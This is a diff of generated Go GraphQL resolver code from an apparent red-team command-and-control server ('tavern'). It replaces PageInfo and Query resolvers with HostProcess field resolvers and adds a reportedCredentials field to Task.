-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   true,
 		IsResolver: false,
@@ -2886,6 +2657,8 @@ func (ec *executionContext) fieldContext_HostProcess_task(ctx context.Context, f
 				return ec.fieldContext_Task_reportedFiles(ctx, field)
 			case "reportedProcesses":
 				return ec.fieldContext_Task_reportedProcesses(ctx, field)
+			case "reportedCredentials":
+				return ec.fieldContext_Task_reportedCredentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
 		},
@@ -2893,8 +2666,8 @@ func (ec *executionContext) fieldContext_HostProcess_task(ctx context.Context, f
 	return fc, nil
 }
 
-func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_PageInfo_hasNextPage(ctx, field)
+func (ec *executionContext) _HostProcess_id(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_id(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2907,7 +2680,7 @@ func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field gra
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.HasNextPage, nil
+		return obj.ID, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -2919,26 +2692,26 @@ func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field gra
 		}
 		return graphql.Null
 	}
-	res := resTmp.(bool)
+	res := resTmp.(int)
 	fc.Result = res
-	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
+	return ec.marshalNID2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_PageInfo_hasNextPage(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "PageInfo",
+		Object:     "HostProcess",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Boolean does not have child fields")
+			return nil, errors.New("field of type ID does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_PageInfo_hasPreviousPage(ctx, field)
+func (ec *executionContext) _HostProcess_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_createdAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2951,7 +2724,7 @@ func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.HasPreviousPage, nil
+		return obj.CreatedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -2963,26 +2736,26 @@ func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field
 		}
 		return graphql.Null
 	}
-	res := resTmp.(bool)
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
+	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_PageInfo_hasPreviousPage(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "PageInfo",
+		Object:     "HostProcess",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Boolean does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _PageInfo_startCursor(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_PageInfo_startCursor(ctx, field)
+func (ec *executionContext) _HostProcess_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_lastModifiedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2995,35 +2768,38 @@ func (ec *executionContext) _PageInfo_startCursor(ctx context.Context, field gra
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.StartCursor, nil
+		return obj.LastModifiedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(*entgql.Cursor[int])
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor(ctx, field.Selections, res)
+	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_PageInfo_startCursor(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "PageInfo",
+		Object:     "HostProcess",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Cursor does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _PageInfo_endCursor(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_PageInfo_endCursor(ctx, field)
+func (ec *executionContext) _HostProcess_pid(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_pid(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3036,35 +2812,38 @@ func (ec *executionContext) _PageInfo_endCursor(ctx context.Context, field graph
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.EndCursor, nil
+		return obj.Pid, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		return graphql.Null
-	}
-	res := resTmp.(*entgql.Cursor[int])
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(uint64)
 	fc.Result = res
-	return ec.marshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor(ctx, field.Selections, res)
+	return ec.marshalNUint642uint64(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_PageInfo_endCursor(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_pid(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "PageInfo",
+		Object:     "HostProcess",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Cursor does not have child fields")
+			return nil, errors.New("field of type Uint64 does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_node(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_node(ctx, field)
+func (ec *executionContext) _HostProcess_ppid(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_ppid(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3077,46 +2856,38 @@ func (ec *executionContext) _Query_node(ctx context.Context, field graphql.Colle
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return ec.resolvers.Query().Node(rctx, fc.Args["id"].(int))
+		return obj.Ppid, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(ent.Noder)
+	res := resTmp.(uint64)
 	fc.Result = res
-	return ec.marshalONode2realmᚗpubᚋtavernᚋinternalᚋentᚐNoder(ctx, field.Selections, res)
+	return ec.marshalNUint642uint64(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_node(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_ppid(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("FieldContext.Child cannot be called on type INTERFACE")
+			return nil, errors.New("field of type Uint64 does not have child fields")
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_node_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_nodes(ctx, field)
+func (ec *executionContext) _HostProcess_name(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_name(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3129,7 +2900,7 @@ func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.Coll
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return ec.resolvers.Query().Nodes(rctx, fc.Args["ids"].([]int))
+		return obj.Name, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -3141,37 +2912,26 @@ func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.Coll
 		}
 		return graphql.Null
 	}
-	res := resTmp.([]ent.Noder)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNNode2ᚕrealmᚗpubᚋtavernᚋinternalᚋentᚐNoder(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_nodes(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("FieldContext.Child cannot be called on type INTERFACE")
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_nodes_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_files(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_files(ctx, field)
+func (ec *executionContext) _HostProcess_principal(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_principal(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3183,32 +2943,8 @@ func (ec *executionContext) _Query_files(ctx context.Context, field graphql.Coll
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Files(rctx, fc.Args["where"].(*ent.FileWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.([]*ent.File); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.File`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.Principal, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -3220,53 +2956,26 @@ func (ec *executionContext) _Query_files(ctx context.Context, field graphql.Coll
 		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.File)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNFile2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileᚄ(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_files(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_principal(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_File_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_File_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_File_lastModifiedAt(ctx, field)
-			case "name":
-				return ec.fieldContext_File_name(ctx, field)
-			case "size":
-				return ec.fieldContext_File_size(ctx, field)
-			case "hash":
-				return ec.fieldContext_File_hash(ctx, field)
-			case "tomes":
-				return ec.fieldContext_File_tomes(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type File", field.Name)
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_files_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_quests(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_quests(ctx, field)
+func (ec *executionContext) _HostProcess_path(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_path(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3278,94 +2987,36 @@ func (ec *executionContext) _Query_quests(ctx context.Context, field graphql.Col
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Quests(rctx, fc.Args["where"].(*ent.QuestWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.([]*ent.Quest); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Quest`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.Path, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Quest)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNQuest2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestᚄ(ctx, field.Selections, res)
+	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_quests(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_path(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_Quest_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Quest_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Quest_lastModifiedAt(ctx, field)
-			case "name":
-				return ec.fieldContext_Quest_name(ctx, field)
-			case "parameters":
-				return ec.fieldContext_Quest_parameters(ctx, field)
-			case "tome":
-				return ec.fieldContext_Quest_tome(ctx, field)
-			case "bundle":
-				return ec.fieldContext_Quest_bundle(ctx, field)
-			case "tasks":
-				return ec.fieldContext_Quest_tasks(ctx, field)
-			case "creator":
-				return ec.fieldContext_Quest_creator(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type Quest", field.Name)
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_quests_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_tasks(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_tasks(ctx, field)
+func (ec *executionContext) _HostProcess_cmd(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_cmd(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3377,82 +3028,77 @@ func (ec *executionContext) _Query_tasks(ctx context.Context, field graphql.Coll
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Tasks(rctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.TaskOrder), fc.Args["where"].(*ent.TaskWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.(*ent.TaskConnection); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be *realm.pub/tavern/internal/ent.TaskConnection`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.Cmd, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(*ent.TaskConnection)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNTaskConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskConnection(ctx, field.Selections, res)
+	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_tasks(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_cmd(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "edges":
-				return ec.fieldContext_TaskConnection_edges(ctx, field)
-			case "pageInfo":
-				return ec.fieldContext_TaskConnection_pageInfo(ctx, field)
-			case "totalCount":
-				return ec.fieldContext_TaskConnection_totalCount(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type TaskConnection", field.Name)
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
+	return fc, nil
+}
+
+func (ec *executionContext) _HostProcess_env(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_env(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
 	defer func() {
 		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
 		}
 	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_tasks_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Env, nil
+	})
+	if err != nil {
 		ec.Error(ctx, err)
-		return fc, err
+		return graphql.Null
+	}
+	if resTmp == nil {
+		return graphql.Null
+	}
+	res := resTmp.(string)
+	fc.Result = res
+	return ec.marshalOString2string(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_HostProcess_env(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "HostProcess",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type String does not have child fields")
+		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_beacons(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_beacons(ctx, field)
+func (ec *executionContext) _HostProcess_cwd(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_cwd(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3464,98 +3110,80 @@ func (ec *executionContext) _Query_beacons(ctx context.Context, field graphql.Co
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Beacons(rctx, fc.Args["where"].(*ent.BeaconWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.([]*ent.Beacon); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Beacon`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.Cwd, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Beacon)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNBeacon2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconᚄ(ctx, field.Selections, res)
+	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_beacons(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_cwd(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_Beacon_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Beacon_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Beacon_lastModifiedAt(ctx, field)
-			case "name":
-				return ec.fieldContext_Beacon_name(ctx, field)
-			case "principal":
-				return ec.fieldContext_Beacon_principal(ctx, field)
-			case "identifier":
-				return ec.fieldContext_Beacon_identifier(ctx, field)
-			case "agentIdentifier":
-				return ec.fieldContext_Beacon_agentIdentifier(ctx, field)
-			case "lastSeenAt":
-				return ec.fieldContext_Beacon_lastSeenAt(ctx, field)
-			case "interval":
-				return ec.fieldContext_Beacon_interval(ctx, field)
-			case "host":
-				return ec.fieldContext_Beacon_host(ctx, field)
-			case "tasks":
-				return ec.fieldContext_Beacon_tasks(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type Beacon", field.Name)
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
+	return fc, nil
+}
+
+func (ec *executionContext) _HostProcess_status(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_status(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
 	defer func() {
 		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
 		}
 	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_beacons_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Status, nil
+	})
+	if err != nil {
 		ec.Error(ctx, err)
-		return fc, err
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(epb.Process_Status)
+	fc.Result = res
